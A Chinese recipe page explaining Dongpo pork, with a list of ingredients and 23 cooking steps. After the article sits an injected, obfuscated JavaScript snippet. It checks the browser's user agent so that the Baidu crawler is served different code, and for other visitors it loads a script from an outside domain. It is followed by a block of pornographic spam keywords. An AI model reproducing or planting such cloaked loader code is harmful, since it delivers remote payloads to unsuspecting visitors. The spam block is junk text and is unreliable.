當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

東坡肉是什么?東坡肉怎么做?

2016-06-09 10:27:44  來源:360常識網   熱度:
導語:鍋上火注入開水放入蔥姜煮5分鐘,下入大塊的五花肉煮熟。砂鍋內放入八角鋪好香蔥和大蔥。把切好的姜片均勻的鋪在蔥上面。五花肉煮熟撈出晾涼。

東坡肉是什么?東坡肉怎么做?

東坡肉是什么?東坡肉怎么做?

東坡肉是什么?

東坡肉是浙江菜系,東坡肉的特點:東坡肉皮薄肉嫩,色澤紅亮,味醇汁濃,酥爛不碎,香糯不膩,風味獨特,老幼皆宜。

東坡肉怎么做?

材料準備:

豬五花肋肉1500克、蔥100克、白糖100克、紹酒250克、姜塊(拍松)50克、醬油150克。

制作步驟:

1、鍋上火注入開水放入蔥姜煮5分鐘,下入大塊的五花肉煮熟。

2、砂鍋內放入八角鋪好香蔥和大蔥。

3、把切好的姜片均勻的鋪在蔥上面。

4、五花肉煮熟撈出晾涼。

5、把煮熟的五花肉用刀切成均勻的大塊,850克肉切成10-11塊即可。

6、把五花肉的皮朝下,要緊密的碼放到砂鍋里。

7、在肉面上先撒上冰糖。

8、然后倒入適量的醬油,可按自己口味咸淡喜好放就行。

9、最后注入黃酒。

10、黃酒八分滿即可,切不可往里加水。

11、蓋上砂鍋蓋大火燒開,鍋開后。

12、打開鍋蓋撇去浮沫。

13、二次蓋上鍋蓋,改用炆火開始慢燉,以不溢出湯面。

14、將近冒小水泡為準,大約燉兩小時便可出鍋。

15、把用砂鍋燉好的肉,移放到燉盅里,這次要求肉的皮面朝上擺放,仍是緊密的碼放好。

16、蓋好燉盅的蓋子,上籠再蒸一小時。

17、在蒸肉的同時。

18、把砂鍋中剩余的湯汁潷出,撇去浮油備用。

19、肉蒸一小時后出鍋。

20、放入墊盤中。

21、炒勺上火,往鍋中倒入燉肉時的原汁。

22、汁燒開后用水淀粉勾薄芡。

23、撒上香蔥粒,然后均勻的澆在肉上便可上桌食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国内精品九九久久久精品| 久久久久久亚洲精品影院| 国产高清在线精品免费软件| 国产精品成人久久久久久久| 久久国产精品久久国产精品| 国产精品香蕉在线观看不卡| 久久亚洲精品无码VA大香大香| 亚洲国产精品综合久久久| 精品久久综合1区2区3区激情| 国产久热精品无码激情| 久久久久成人精品一区二区| 老司机精品视频免费| 99精品一区二区三区无码吞精| 精品熟人妻一区二区三区四区不卡| 2021国产精品午夜久久| 精品国产麻豆免费人成网站| 亚洲А∨精品天堂在线| 人妻熟妇乱又伦精品HD| 538精品在线观看| 国产精品美女一区二区视频| 国产精品自在拍一区二区不卡| 99re6在线视频精品免费下载| 久久精品国产亚洲AV电影网| 久久乐国产精品亚洲综合| 国产精品国产三级国产普通话a| 国产精品香蕉在线观看不卡| 久久久久免费精品国产| 久久93精品国产91久久综合| 亚洲91精品麻豆国产系列在线| 精品久久亚洲中文无码| 久久精品国产精品亚洲艾| 国内精品视频一区二区三区| 国产美女精品一区二区三区| 亚洲爆乳精品无码一区二区| 中日韩精品电影推荐网站| 国产精品大尺度尺度视频| 亚洲精品高清久久| 九九在线观看精品视频6| 亚洲精品福利网站| 国产精品亚洲高清一区二区| 精品女同一区二区|